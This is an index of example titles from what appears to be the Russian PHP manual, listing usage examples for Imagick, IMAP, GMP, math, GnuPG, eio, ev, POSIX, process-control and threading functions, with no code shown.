  • Example#2890 - Пример использования метода Distance с ядром Chebyshev Imagick::morphology
  • Example#2891 - Пример использования метода Distance с ядром Manhattan Imagick::morphology
  • Example#2892 - Пример использования метода Distance с ядром ocatagonal Imagick::morphology
  • Example#2893 - Пример использования метода Distance с ядром Euclidean Imagick::morphology
  • Example#2894 - Пример использования метода Edge Imagick::morphology
  • Example#2895 - Пример использования метода Open Imagick::morphology
  • Example#2896 - Пример использования метода Open intensity Imagick::morphology
  • Example#2897 - Пример использования метода Close Imagick::morphology
  • Example#2898 - Пример использования метода Close Intensity Imagick::morphology
  • Example#2899 - Пример использования метода Smooth Imagick::morphology
  • Example#2900 - Пример использования метода Edge in Imagick::morphology
  • Example#2901 - Пример использования метода Edge out Imagick::morphology
  • Example#2902 - Метод "TopHat", или, точнее, "White TopHat", возвращает пиксели, которые были удалены открытием фигуры, то есть пиксели, которые были удалены для округления точек, и соединение, соединённое мостом между фигурами. Imagick::morphology
  • Example#2903 - Метод "TopHat", или, точнее, "Black TopHat", возвращает пиксели, которые были удалены закрытием фигуры, то есть пиксели, которые использовались для заполнения дыр, зазоров и мостов. Imagick::morphology
  • Example#2904 - Пример использования метода Hit и Miss Imagick::morphology
  • Example#2905 - Пример использования метода Thinning Imagick::morphology
  • Example#2906 - Пример использования метода Thicken Imagick::morphology
  • Example#2907 - Пример использования метода Thick для создания выпуклой оболочки Imagick::morphology
  • Example#2908 - Пример использования метода Iterative morphology Imagick::morphology
  • Example#2909 - Пример использования вспомогательной функции для получения силуэта изображения Imagick::morphology
  • Example#2910 - Пример использования Imagick::motionBlurImage
  • Example#2911 - Пример использования Imagick::negateImage
  • Example#2912 - Пример использования Imagick::newImage:
  • Example#2913 - Пример использования Imagick::newPseudoImage
  • Example#2914 - Пример использования Imagick::normalizeImage
  • Example#2915 - Пример использования Imagick::oilPaintImage
  • Example#2916 - Пример использования Imagick::optimizeImageLayers
  • Example#2917 - Пример использования Imagick::orderedPosterizeImage
  • Example#2918 - Пример использования Imagick::pingImageBlob
  • Example#2919 - Пример использования Imagick::pingImageFile
  • Example#2920 - Пример использования Imagick::polaroidImage
  • Example#2921 - Пример использования Imagick::posterizeImage
  • Example#2922 - Пример использования Imagick::quantizeImage
  • Example#2923 - Пример использования Imagick::queryFontMetrics:
  • Example#2924 - Пример использования Imagick::queryFonts
  • Example#2925 - Пример использования Imagick::queryFormats
  • Example#2926 - Пример использования Imagick::radialBlurImage
  • Example#2927 - Пример использования Imagick::raiseImage
  • Example#2928 - Пример использования Imagick::randomThresholdImage
  • Example#2929 - Пример использования Imagick::readImageBlob
  • Example#2930 - Пример использования Imagick::recolorImage
  • Example#2931 - Пример использования Imagick::reduceNoiseImage
  • Example#2932 - Пример использования метода Imagick::resampleImage
  • Example#2933 - Пример использования Imagick::resizeImage
  • Example#2934 - Пример использования Imagick::rollImage
  • Example#2935 - Пример использования Imagick::rotateImage
  • Example#2936 - Пример использования Imagick::rotationalBlurImage
  • Example#2937 - Пример использования Imagick::roundCorners
  • Example#2938 - Пример использования Imagick::scaleImage
  • Example#2939 - Пример использования Imagick::segmentImage
  • Example#2940 - Пример использования Imagick::selectiveBlurImage
  • Example#2941 - Пример использования Imagick::separateImageChannel
  • Example#2942 - Пример использования Imagick::sepiaToneImage
  • Example#2943 - Пример использования Imagick::setCompressionQuality
  • Example#2944 - Пример использования Imagick::setFont
  • Example#2945 - Пример использования Imagick::setImage
  • Example#2946 - Пример использования Imagick::setImageArtifact
  • Example#2947 - Пример использования Imagick::setImageBias
  • Example#2948 - Пример использования Imagick::setImageClipMask
  • Example#2949 - Пример использования Imagick::setImageCompressionQuality
  • Example#2950 - Изменить анимированный GIF с помощью Imagick::setImageDelay
  • Example#2951 - Пример использования Imagick::setImageIterations
  • Example#2952 - Пример использования Imagick::setImageOpacity
  • Example#2953 - Пример использования Imagick::setImageOrientation
  • Example#2954 - Пример использования Imagick::setImageProperty
  • Example#2955 - Пример использования Imagick::setImageResolution
  • Example#2956 - Изменение анимированного GIF-изображения с помощью Imagick::setImageTicksPerSecond
  • Example#2957 - Пример использования Imagick::setIteratorIndex:
  • Example#2958 - Попытка достичь размера '$extent' Imagick::setOption
  • Example#2959 - Пример использования Imagick::setOption
  • Example#2960 - Пример использования Imagick::setOption
  • Example#2961 - Пример использования Imagick::setPointSize
  • Example#2962 - Пример использования Imagick::setProgressMonitor
  • Example#2963 - Пример использования Imagick::setSamplingFactors
  • Example#2964 - Пример использования Imagick::shadeImage
  • Example#2965 - Пример использования Imagick::shadowImage
  • Example#2966 - Пример использования Imagick::sharpenImage
  • Example#2967 - Пример использования Imagick::shaveImage
  • Example#2968 - Пример использования Imagick::shearImage
  • Example#2969 - Создание градиентного изображения, используя Imagick::sigmoidalContrastImage, подходящую для плавного смешивания двух изображений вместе, со смешиванием, определяемого контрастом и средней точкой.
  • Example#2970 - Пример использования Imagick::sketchImage
  • Example#2971 - Пример использования Imagick::smushImages
  • Example#2972 - Пример использования Imagick::solarizeImage
  • Example#2973 - SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage
  • Example#2974 - SPARSECOLORMETHOD_BILINEAR Imagick::sparseColorImage
  • Example#2975 - SPARSECOLORMETHOD_SPEPARDS Imagick::sparseColorImage
  • Example#2976 - SPARSECOLORMETHOD_VORONOI Imagick::sparseColorImage
  • Example#2977 - SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage
  • Example#2978 - createGradientImage is used by other examples. Imagick::sparseColorImage
  • Example#2979 - Пример использования Imagick::spliceImage
  • Example#2980 - Пример использования Imagick::spreadImage
  • Example#2981 - Пример использования Imagick::statisticImage
  • Example#2982 - Пример использования Imagick::subImageMatch
  • Example#2983 - Пример использования Imagick::swirlImage
  • Example#2984 - Пример использования Imagick::textureImage
  • Example#2985 - Пример использования Imagick::thresholdImage
  • Example#2986 - Пример использования Imagick::thumbnailImage
  • Example#2987 - Пример использования Imagick::tintImage
  • Example#2988 - Пример использования Imagick::transformImage:
  • Example#2989 - Пример использования метода Imagick::transformImageColorspace
  • Example#2990 - Пример использования Imagick::transparentPaintImage
  • Example#2991 - Пример использования Imagick::transposeImage
  • Example#2992 - Пример использования Imagick::transverseImage
  • Example#2993 - Пример использования Imagick::trimImage:
  • Example#2994 - Пример использования Imagick::uniqueImageColors
  • Example#2995 - Пример использования Imagick::unsharpMaskImage
  • Example#2996 - Пример использования Imagick::vignetteImage
  • Example#2997 - WaveImage может быть довольно медленным Imagick::waveImage
  • Example#2998 - Пример использования Imagick::whiteThresholdImage
  • Example#2999 - Пример использования ImagickDraw::affine
  • Example#3000 - Пример использования ImagickDraw::arc
  • Example#3001 - Пример использования ImagickDraw::bezier
  • Example#3002 - Пример использования ImagickDraw::circle
  • Example#3003 - Пример использования ImagickDraw::composite
  • Example#3004 - Пример использования ImagickDraw::ellipse
  • Example#3005 - Пример использования ImagickDraw::line
  • Example#3006 - Пример использования ImagickDraw::matte
  • Example#3007 - Пример использования ImagickDraw::pathCurveToQuadraticBezierAbsolute
  • Example#3008 - Пример использования ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
  • Example#3009 - Пример использования ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
  • Example#3010 - Пример использования ImagickDraw::pathStart
  • Example#3011 - Пример использования ImagickDraw::point
  • Example#3012 - Пример использования ImagickDraw::polygon
  • Example#3013 - Пример использования ImagickDraw::polyline
  • Example#3014 - Пример использования ImagickDraw::popDefs
  • Example#3015 - Пример использования ImagickDraw::push
  • Example#3016 - Пример использования ImagickDraw::pushPattern
  • Example#3017 - Пример использования ImagickDraw::rectangle
  • Example#3018 - Пример использования ImagickDraw::rotate
  • Example#3019 - Пример использования ImagickDraw::roundRectangle
  • Example#3020 - Пример использования ImagickDraw::scale
  • Example#3021 - Пример использования ImagickDraw::setClipPath
  • Example#3022 - Пример использования ImagickDraw::setClipRule
  • Example#3023 - Пример использования ImagickDraw::setClipUnits
  • Example#3024 - Пример использования ImagickDraw::setFillAlpha
  • Example#3025 - Пример использования ImagickDraw::setFillColor
  • Example#3026 - Пример использования ImagickDraw::setFillOpacity
  • Example#3027 - Пример использования ImagickDraw::setFillRule
  • Example#3028 - Пример использования ImagickDraw::setFont
  • Example#3029 - Пример использования ImagickDraw::setFontFamily
  • Example#3030 - Пример использования ImagickDraw::setFontSize
  • Example#3031 - Пример использования ImagickDraw::setFontStretch
  • Example#3032 - Пример использования ImagickDraw::setFontStyle
  • Example#3033 - Пример использования ImagickDraw::setFontWeight
  • Example#3034 - Пример использования ImagickDraw::setGravity
  • Example#3035 - Пример использования ImagickDraw::setStrokeAlpha
  • Example#3036 - Пример использования ImagickDraw::setStrokeAntialias
  • Example#3037 - Пример использования ImagickDraw::setStrokeColor
  • Example#3038 - Пример использования ImagickDraw::setStrokeDashArray
  • Example#3039 - Пример использования ImagickDraw::setStrokeDashOffset
  • Example#3040 - Пример использования ImagickDraw::setStrokeLineCap
  • Example#3041 - Пример использования ImagickDraw::setStrokeLineJoin
  • Example#3042 - Пример использования ImagickDraw::setStrokeMiterLimit
  • Example#3043 - Пример использования ImagickDraw::setStrokeOpacity
  • Example#3044 - Пример использования ImagickDraw::setStrokeWidth
  • Example#3045 - Пример использования ImagickDraw::setTextAlignment
  • Example#3046 - Пример использования ImagickDraw::setTextAntialias
  • Example#3047 - Пример использования ImagickDraw::setTextDecoration
  • Example#3048 - Пример использования ImagickDraw::setTextUnderColor
  • Example#3049 - Пример использования ImagickDraw::setVectorGraphics
  • Example#3050 - Пример использования ImagickDraw::setViewBox
  • Example#3051 - Пример использования ImagickDraw::skewX
  • Example#3052 - Пример использования ImagickDraw::skewY
  • Example#3053 - Пример использования ImagickDraw::translate
  • Example#3054 - Пример использования ImagickPixel::construct
  • Example#3055 - Пример использования Imagick::getColor
  • Example#3056 - Пример использования Imagick::getColorAsString
  • Example#3057 - ImagickPixel getColorCount
  • Example#3058 - Пример использования Imagick::getColorValue
  • Example#3059 - Пример использования ImagickPixel::getColorValueQuantum
  • Example#3060 - Пример использования Imagick::getHSL
  • Example#3061 - Пример использования ImagickPixel::isSimilar
  • Example#3062 - Пример использования ImagickPixel::setColor
  • Example#3063 - Пример использования Imagick::setColorValue
  • Example#3064 - Пример использования ImagickPixel::setColorValueQuantum
  • Example#3065 - Пример использования ImagickPixel::setHSL
  • Example#3066 - Пример использования ImagickPixelIterator::clear
  • Example#3067 - Пример использования ImagickPixelIterator::construct
  • Example#3068 - Пример использования ImagickPixelIterator::getNextIteratorRow
  • Example#3069 - Пример использования ImagickPixelIterator::resetIterator
  • Example#3070 - Пример использования ImagickPixelIterator::setIteratorRow
  • Example#3071 - Пример использования ImagickKernel::addKernel
  • Example#3072 - Пример использования ImagickKernel::addUnityKernel
  • Example#3073 - Пример использования ImagickKernel::addUnityKernel
  • Example#3074 - Пример использования ImagickKernel::fromBuiltin
  • Example#3075 - Пример использования ImagickKernel::fromMatrix
  • Example#3076 - Пример использования ImagickKernel::getMatrix
  • Example#3077 - Пример использования ImagickKernel::scale
  • Example#3078 - Пример использования ImagickKernel::separate
  • Example#3079 - Пример использования imap_append
  • Example#3080 - Пример использования imap_check
  • Example#3081 - Пример использования imap_createmailbox
  • Example#3082 - Пример использования imap_delete
  • Example#3083 - Пример использования imap_fetch_overview
  • Example#3084 - Пример использования imap_gc
  • Example#3085 - Пример использования imap_get_quota
  • Example#3086 - Пример использования imap_get_quota в PHP 4.3 и выше
  • Example#3087 - Пример использования imap_get_quotaroot
  • Example#3088 - Пример использования imap_getacl
  • Example#3089 - Пример использования функции imap_getmailboxes
  • Example#3090 - Пример использования imap_is_open
  • Example#3091 - Пример использования imap_list
  • Example#3092 - Пример использования imap_mail_compose
  • Example#3093 - Пример использования imap_mailboxmsginfo
  • Example#3094 - Пример использования imap_mime_header_decode
  • Example#3095 - Различные способы использования imap_open
  • Example#3096 - Пример использования imap_open
  • Example#3097 - Пример использования imap_ping
  • Example#3098 - Пример использования imap_reopen
  • Example#3099 - Пример использования imap_rfc822_parse_adrlist
  • Example#3100 - Пример использования imap_rfc822_write_address
  • Example#3101 - Пример использования imap_search
  • Example#3102 - Пример использования imap_set_quota
  • Example#3103 - Пример использования imap_setflag_full
  • Example#3104 - Пример использования imap_status
  • Example#3105 - Пример использования imap_thread
  • Example#3106 - Пример использования imap_timeout
  • Example#3107 - Базовое использование imap_utf8
  • Example#3108 - Вычисляет хеш-сумму и подписка пользователя на что-либо
  • Example#3109 - Отправка письма.
  • Example#3110 - Отправка письма с дополнительными заголовками.
  • Example#3111 - Отправка письма с дополнительными заголовками, переданными массивом
  • Example#3112 - Отправка письма с дополнительными аргументами командной строки.
  • Example#3113 - Отправка HTML-сообщения
  • Example#3114 - Пример использования mailparse_determine_best_xfer_encoding
  • Example#3115 - Пример использования mailparse_rfc822_parse_addresses
  • Example#3116 - Пример использования mailparse_stream_encode
  • Example#3117 - Пример использования mailparse_uudecode_all
  • Example#3118 - Пример использования bcadd
  • Example#3119 - Пример использования bccomp
  • Example#3120 - Пример использования bcdiv
  • Example#3121 - Пример использования bcmod
  • Example#3122 - Пример использования bcmod с десятичными знаками
  • Example#3123 - Пример использования bcmul
  • Example#3124 - Пример bcmul с заданной точностью
  • Example#3125 - Пример использования bcpow
  • Example#3126 - Пример уменьшения точности в bcpow
  • Example#3127 - Пример использования bcscale
  • Example#3128 - Пример использования bcsqrt
  • Example#3129 - Пример использования bcsub
  • Example#3130 - Вычисление факториала с помощью GMP
  • Example#3131 - Пример использования gmp_abs
  • Example#3132 - Пример использования gmp_add
  • Example#3133 - Пример использования gmp_and
  • Example#3134 - Пример использования gmp_clrbit
  • Example#3135 - Пример использования gmp_cmp
  • Example#3136 - Пример использования gmp_com
  • Example#3137 - Пример использования gmp_div_q
  • Example#3138 - Деление GMP чисел
  • Example#3139 - Пример использования gmp_div_r
  • Example#3140 - Пример использования gmp_divexact
  • Example#3141 - Пример использования gmp_export
  • Example#3142 - Пример использования gmp_fact
  • Example#3143 - Пример использования gmp_gcd
  • Example#3144 - Решение линейного Диофантового уравнения
  • Example#3145 - Пример использования gmp_hamdist
  • Example#3146 - Пример использования gmp_import
  • Example#3147 - Создание GMP числа
  • Example#3148 - Пример использования функции gmp_intval
  • Example#3149 - Пример использования gmp_invert
  • Example#3150 - Пример использования gmp_jacobi
  • Example#3151 - Пример использования gmp_legendre
  • Example#3152 - Пример использования gmp_mod
  • Example#3153 - Пример использования gmp_mul
  • Example#3154 - Пример использования gmp_neg
  • Example#3155 - Пример использования gmp_nextprime
  • Example#3156 - Пример использования gmp_or
  • Example#3157 - Пример использования gmp_perfect_square
  • Example#3158 - Пример использования gmp_popcount
  • Example#3159 - Пример использования gmp_pow
  • Example#3160 - Пример использования gmp_powm
  • Example#3161 - Пример использования gmp_prob_prime
  • Example#3162 - Пример использования функции gmp_random_bits
  • Example#3163 - Пример использования функции gmp_random_range
  • Example#3164 - Пример использования gmp_random_seed
  • Example#3165 - Пример использования gmp_random
  • Example#3166 - Пример использования gmp_scan0
  • Example#3167 - Пример использования gmp_scan1
  • Example#3168 - Пример использования gmp_setbit - 0 индекс
  • Example#3169 - Пример использования gmp_setbit - 1 индекс
  • Example#3170 - Пример использования gmp_setbit очистка бита
  • Example#3171 - Пример использования gmp_sign
  • Example#3172 - Пример использования gmp_sqrt
  • Example#3173 - Пример использования gmp_sqrtrem
  • Example#3174 - Преобразование GMP-числа в строку
  • Example#3175 - Пример использования gmp_sub
  • Example#3176 - Пример использования gmp_testbit
  • Example#3177 - Пример использования gmp_xor
  • Example#3178 - Пример использования функции abs
  • Example#3179 - Пример использования функции base_convert
  • Example#3180 - Пример использования функции bindec
  • Example#3181 - Функция bindec интерпретирует ввод как беззнаковое число
  • Example#3182 - Пример использования функции ceil
  • Example#3183 - Пример использования функции cos
  • Example#3184 - Пример использования функции decbin
  • Example#3185 - Пример использования функции dechex
  • Example#3186 - Пример использования функции dechex с большими целыми числами
  • Example#3187 - Пример использования функции decoct
  • Example#3188 - Пример использования функции deg2rad
  • Example#3189 - Пример использования функции exp
  • Example#3190 - Пример использования функции fdiv
  • Example#3191 - Пример использования функции floor
  • Example#3192 - Пример использования функции fmod
  • Example#3193 - Пример использования функции hexdec
  • Example#3194 - Пример использования функции intdiv
  • Example#3195 - Пример использования функции is_finite
  • Example#3196 - Пример использования функции is_infinite
  • Example#3197 - Пример использования функции is_nan
  • Example#3198 - Пример использования функции max
  • Example#3199 - Пример использования функции min
  • Example#3200 - Пример использования функции octdec
  • Example#3201 - Пример использования функции pi
  • Example#3202 - Примеры использования функции pow
  • Example#3203 - Пример использования функции rad2deg
  • Example#3204 - Пример использования функции round
  • Example#3205 - Как параметр precision влияет на числа с плавающей точкой
  • Example#3206 - Примеры использования параметра mode
  • Example#3207 - Примеры использования параметра mode с указанием точности precision
  • Example#3208 - Пример использования функции sin
  • Example#3209 - Пример использования функции sqrt
  • Example#3210 - Пример использования функции tan
  • Example#3211 - Обработка документа FDF
  • Example#3212 - Добавление кода JavaScript в FDF
  • Example#3213 - Заполнение PDF-документа
  • Example#3214 - Сохранение загруженного файла
  • Example#3215 - Обнаружение всех имён полей в FDF
  • Example#3216 - Доступ к данным формы
  • Example#3217 - Доступ к данным формы
  • Example#3218 - Получение FDF в виде строки
  • Example#3219 - Передача данных FDF во вторую форму
  • Example#3220 - Процедурный пример создания чистой подписи GnuPG
  • Example#3221 - Объектно-ориентированный пример создания чистой подписи GnuPG
  • Example#3222 - keylistiterator
  • Example#3223 - Пример использования gnupg_adddecryptkey в процедурном стиле
  • Example#3224 - Пример использования gnupg_adddecryptkey в объектно-ориентированном стиле
  • Example#3225 - Процедурный пример использования gnupg_addencryptkey
  • Example#3226 - Объектно-ориентированный пример использования gnupg_addencryptkey
  • Example#3227 - Процедурный пример использования gnupg_addsignkey
  • Example#3228 - Объектно-ориентированный пример использования gnupg_addsignkey
  • Example#3229 - Процедурный пример использования gnupg_cleardecryptkeys
  • Example#3230 - Объектно-ориентированный пример использования gnupg_cleardecryptkeys
  • Example#3231 - Процедурный пример использования gnupg_clearencryptkeys
  • Example#3232 - Объектно-ориентированный пример использования gnupg_clearencryptkeys
  • Example#3233 - Процедурный пример использования gnupg_clearsignkeys
  • Example#3234 - Объектно-ориентированный пример использования gnupg_clearsignkeys
  • Example#3235 - Процедурный пример использования gnupg_decrypt
  • Example#3236 - Объектно-ориентированный пример использования gnupg_decrypt
  • Example#3237 - Пример использования gnupg_decryptverify в процедурном стиле
  • Example#3238 - Пример использования gnupg_decryptverify в объектно-ориентированном стиле
  • Example#3239 - Пример использования gnupg_deletekey в процедурном стиле
  • Example#3240 - Пример использования gnupg_deletekey в объектно-ориентированном стиле
  • Example#3241 - Пример использования gnupg_encrypt в процедурном стиле
  • Example#3242 - Пример использования gnupg_encrypt в объектно-ориентированном стиле
  • Example#3243 - Процедурный пример использования gnupg_encryptsign
  • Example#3244 - Объектно-ориентированный пример использования gnupg_encryptsign
  • Example#3245 - Пример использования gnupg_export в процедурном стиле
  • Example#3246 - Пример использования gnupg_export в объектно-ориентированном стиле
  • Example#3247 - Пример использования gnupg_getengineinfo в процедурном стиле
  • Example#3248 - Пример использования gnupg_getengineinfo в объектно-ориентированном стиле
  • Example#3249 - Пример использования gnupg_geterror в процедурном стиле
  • Example#3250 - Пример использования gnupg_geterror в объектно-ориентированном стиле
  • Example#3251 - Пример использования gnupg_geterrorinfo в процедурном стиле
  • Example#3252 - Пример использования gnupg_geterrorinfo в объектно-ориентированном стиле
  • Example#3253 - Пример использования gnupg_getprotocol в процедурном стиле
  • Example#3254 - Пример использования gnupg_getprotocol в объектно-ориентированном стиле
  • Example#3255 - Пример использования gnupg_gettrustlist в процедурном стиле
  • Example#3256 - Пример использования gnupg_gettrustlist в объектно-ориентированном стиле
  • Example#3257 - Пример использования gnupg_import в процедурном стиле
  • Example#3258 - Пример использования gnupg_import в объектно-ориентированном стиле
  • Example#3259 - Пример использования gnupg_init в процедурном стиле с настройками по умолчанию
  • Example#3260 - Пример использования gnupg_init в процедурном стиле с переопределённым именем файла и домашним каталогом
  • Example#3261 - Пример использования инициализатора gnupg в объектно-ориентированном стиле с настройками по умолчанию
  • Example#3262 - Пример использования в объектно-ориентированном стиле с переопределённым именем файла и домашним каталогом
  • Example#3263 - Пример использования gnupg_keyinfo в процедурном стиле
  • Example#3264 - Пример использования gnupg_keyinfo в объектно-ориентированном стиле
  • Example#3265 - Пример использования gnupg_listsignatures в процедурном стиле
  • Example#3266 - Пример использования gnupg_listsignatures в объектно-ориентированном стиле
  • Example#3267 - Пример использования gnupg_setarmor в процедурном стиле
  • Example#3268 - Пример использования gnupg_setarmor в объектно-ориентированном стиле
  • Example#3269 - Пример использования gnupg_seterrormode в процедурном стиле
  • Example#3270 - Пример использования gnupg_seterrormode в объектно-ориентированном стиле
  • Example#3271 - Пример использования gnupg_setsignmode в процедурном стиле
  • Example#3272 - Пример использования gnupg_setsignmode в объектно-ориентированном стиле
  • Example#3273 - Пример использования gnupg_sign в процедурном стиле
  • Example#3274 - Пример использования gnupg_sign в объектно-ориентированном стиле
  • Example#3275 - Пример использования gnupg_verify в процедурном стиле
  • Example#3276 - Пример использования gnupg_verify в объектно-ориентированном стиле
  • Example#3277 - Создание и использование узора
  • Example#3278 - Создание и использование шаблона
  • Example#3279 - Перенос текста
  • Example#3280 - Рисование прямоугольника
  • Example#3281 - Создание и использование плашечного цвета
  • Example#3282 - Вращение системы координат
  • Example#3283 - Размещение текста в заданной позиции
  • Example#3284 - Рисование пунктирной линии
  • Example#3285 - Изменение системы координат
  • Example#3286 - Пример использования rpmdbinfo
  • Example#3287 - Поиск пакета, в котором находится файл
  • Example#3288 - Пример использования rpminfo
  • Example#3289 - Пример создания листа
  • Example#3290 - Пример добавления автофильтра
  • Example#3291 - Пример записи файла с постоянным размером памяти
  • Example#3292 - Пример создания экземпляра класса
  • Example#3293 - Пример записи данных на лист
  • Example#3294 - Пример создания файла с листом
  • Example#3295 - Пример получения дескриптора
  • Example#3296 - Пример записи заголовка
  • Example#3297 - Пример вставки формулы
  • Example#3298 - Пример вставки изображения
  • Example#3299 - Пример вставки текста
  • Example#3300 - Пример объединения ячеек
  • Example#3301 - Пример вывода XLSX-файла на диск
  • Example#3302 - Пример установки формата столбца
  • Example#3303 - Пример установки формата строки
  • Example#3304 - Пример стиля выравнивания
  • Example#3305 - Пример полужирного стиля
  • Example#3306 - Пример установки курсива
  • Example#3307 - Пример установки подчёркнутого стиля начертания
  • Example#3308 - Пример неправильных запросов
  • Example#3309 - Создание запроса с использованием callback-функции
  • Example#3310 - Создание запроса с использованием callback-функции
  • Example#3311 - Использование eio совместно с libevent
  • Example#3312 - Отмена запроса
  • Example#3313 - Вызов eio_chmod
  • Example#3314 - Создание пользовательского запроса
  • Example#3315 - Группировка запросов
  • Example#3316 - Использование eio совместно с модулем libevent
  • Example#3317 - Использование eio с модулем event
  • Example#3318 - eio_cancel example
  • Example#3319 - Пример использования eio_custom
  • Example#3320 - Пример использования eio_event_loop
  • Example#3321 - Пример использования eio_lstat
  • Example#3322 - Использование eio совместно с libevent
  • Example#3323 - Создание группы запросов
  • Example#3324 - Пример использования eio_grp
  • Example#3325 - Пример использования eio_link
  • Example#3326 - Пример использования eio_lstat
  • Example#3327 - Пример использования eio_mkdir
  • Example#3328 - Пример использования eio_mknod
  • Example#3329 - Пример использования eio_nreqs
  • Example#3330 - Пример использования eio_open
  • Example#3331 - Пример использования eio_poll
  • Example#3332 - Пример использования eio_read
  • Example#3333 - Пример использования eio_readdir
  • Example#3334 - Пример использования eio_readlink
  • Example#3335 - Пример использования eio_realpath
  • Example#3336 - Пример использования eio_rename
  • Example#3337 - Пример использования eio_rmdir
  • Example#3338 - Пример использования eio_stat
  • Example#3339 - Пример использования eio_statvfs
  • Example#3340 - Пример использования eio_symlink
  • Example#3341 - Простые таймеры
  • Example#3342 - Периодический таймер. Срабатывает раз в 10.5 секунд
  • Example#3343 - Периодический таймер. Использование callback-функции для перезадания интервала
  • Example#3344 - Периодический таймер. Срабатывает каждые 10.5 секунд, начиная с текущего момента
  • Example#3345 - Ждём, пока STDIN не станет читаемым
  • Example#3346 - Используем асинхронный ввод/вывод для доступа к сокету
  • Example#3347 - Встраиваем один цикл в другой
  • Example#3348 - Встраивание цикла, созданного с помощью kqueue в цикл по умолчанию
  • Example#3349 - Перехватываем сигнал SIGTERM
  • Example#3350 - Отслеживаем изменение /var/log/messages
  • Example#3351 - Отслеживаем изменение /var/log/messages. Избегаем пропуска обновлений с помощью задержки в одну секунду
  • Example#3352 - Отслеживаем изменения статуса процесса
  • Example#3353 - Использование наблюдателя с ручным переопределением времени срабатывания
  • Example#3354 - Цикл создаётся с использованием kqueue и встраивается в цикл по умолчанию
  • Example#3355 - Встраивание одного цикла в другой
  • Example#3356 - Цикл создаётся с использованием kqueue и встраивается в цикл по умолчанию
  • Example#3357 - Встраивание цикла, созданного с помощью kqueue в событийный цикл по умолчанию
  • Example#3358 - Периодический таймер. Используйте переназначение callback-функции
  • Example#3359 - Периодический таймер. Отмечает каждые 10,5 секунд, начиная с текущего момента
  • Example#3360 - Часовой наблюдатель
  • Example#3361 - Обработка сигнала SIGTERM
  • Example#3362 - Отслеживаем изменения в /var/log/messages
  • Example#3363 - Смотрим изменения в /var/log/messages
  • Example#3364 - Простые таймеры
  • Example#3365 - Следим за изменениями /var/log/messages. Избегаем пропущенные обновления с задержкой в одну секунду
  • Example#3366 - Регистрируем наблюдатель ввода-вывода для какого-либо UDP-сокета, но не препятствуем запуску цикла событий только из-за этого наблюдателя.
  • Example#3367 - Пример использования Expect
  • Example#3368 - Ещё один пример использования Expect
  • Example#3369 - Пример использования expect_expectl
  • Example#3370 - Пример использования expect_popen
  • Example#3371 - Пример Управления процессами
  • Example#3372 - Пример pcntl_fork
  • Example#3373 - Пример использования функции pcntl_rfork
  • Example#3374 - Пример использования pcntl_signal_dispatch:
  • Example#3375 - Пример использования pcntl_signal_get_handler
  • Example#3376 - Пример использования pcntl_signal
  • Example#3377 - Пример использования pcntl_sigprocmask
  • Example#3378 - Пример использования pcntl_sigwaitinfo
  • Example#3379 - Пример использования функции posix_access
  • Example#3380 - Пример использования posix_ctermid
  • Example#3381 - Пример использования функции posix_eaccess
  • Example#3382 - Пример использования функции posix_fpathconf
  • Example#3383 - Пример использования posix_get_last_error
  • Example#3384 - Пример использования posix_getcwd
  • Example#3385 - Пример использования posix_getegid
  • Example#3386 - Пример использования posix_geteuid
  • Example#3387 - Пример использования posix_getgid
  • Example#3388 - Пример использования posix_getgrgid
  • Example#3389 - Пример использования posix_getgrnam
  • Example#3390 - Пример использования posix_getgroups
  • Example#3391 - Пример использования posix_getlogin
  • Example#3392 - Пример использования posix_getpgid
  • Example#3393 - Пример использования posix_getpid
  • Example#3394 - Пример использования posix_getppid
  • Example#3395 - Пример использования posix_getpwnam
  • Example#3396 - Пример использования posix_getpwuid
  • Example#3397 - Пример использования posix_getrlimit
  • Example#3398 - Пример использования posix_getsid
  • Example#3399 - Пример использования posix_getuid
  • Example#3400 - Пример использования posix_mknod
  • Example#3401 - Пример использования функции posix_pathconf
  • Example#3402 - Пример использования posix_setegid
  • Example#3403 - Пример использования posix_setgid
  • Example#3404 - Пример использования posix_setuid
  • Example#3405 - Пример использования posix_strerror
  • Example#3406 - Пример использования функции posix_sysconf
  • Example#3407 - Пример использования posix_times
  • Example#3408 - Пример использования posix_uname
  • Example#3409 - Пример использования escapeshellarg
  • Example#3410 - Пример использования escapeshellcmd
  • Example#3411 - Пример функции exec
  • Example#3412 - Установка высокого приоритета с помощью proc_nice
  • Example#3413 - Пример использования proc_open
  • Example#3414 - proc_open причуда в Windows
  • Example#3415 - Пример использования shell_exec
  • Example#3416 - Пример использования system
  • Example#3417 - Пример, показывающий Future как возвращаемое значение
  • Example#3418 - Пример, показывающий Future как точку синхронизации
  • Example#3419 - Получение фрагмента таблицы свойств
  • Example#3420 - Подсчёт свойств объекта
  • Example#3421 - Наследование во время выполнения
  • Example#3422 - Определение состояния указанного объекта
  • Example#3423 - Определение состояния указанного объекта
  • Example#3424 - Объединение с таблицей свойств связанного объекта
  • Example#3425 - Уведомления и ожидание
  • Example#3426 - Уведомления и ожидание
  • Example#3427 - Извлечение последнего элемента из таблицы свойств связанного объекта
  • Example#3428 - Перемещение первого элемента из таблицы свойств связанного объекта
  • Example#3429 - Синхронизация
  • Example#3430 - Уведомления и ожидание
  • Example#3431 - Возвращает идентификатор потока, который создал указанный поток
  • Example#3432 - Возвращает ссылку на текущий выполняющийся поток
  • Example#3433 - Возвращает идентификатор текущего выполняющегося потока
  • Example#3434 - Возвращает идентификатор указанного потока
  • Example#3435 - Сообщает, был ли присоединён указанный поток
  • Example#3436 - Сообщает, был ли запущен указанный поток
  • Example#3437 - Присоединение к указанному процессу
  • Example#3438 - Запуск потока
  • Example#3439 - Пример использования Worker::collect
  • Example#3440 - Пример использования Worker::getStacked
  • Example#3441 - Определение состояния
  • Example#3442 - Остановка Worker
  • Example#3443 - Помещение задачи на стек Worker для её запуска
  • Example#3444 - Удаление объектов из стека Worker
  • Example#3445 - Простой пример использования Pool::collect
  • Example#3446 - Создание пулов
  • Example#3447 - Выключение пула
  • Example#3448 - Отправка заданий
  • Example#3449 - Отправка задач конкретному воркеру
  • Example#3450 - Новая семантика иммутабельности Threaded
  • Example#3451 - Пример использования Volatile
  • Example#3452 - Обзор операций с разделяемой памятью
  • Example#3453 - Закрытие блока разделяемой памяти
  • Example#3454 - Удаление блока разделяемой памяти
  • Example#3455 - Резервирование участка разделяемой памяти
  • Example#3456 - Чтение данных из участка разделяемой памяти
  • Example#3457 - Получение размера блока разделяемой памяти
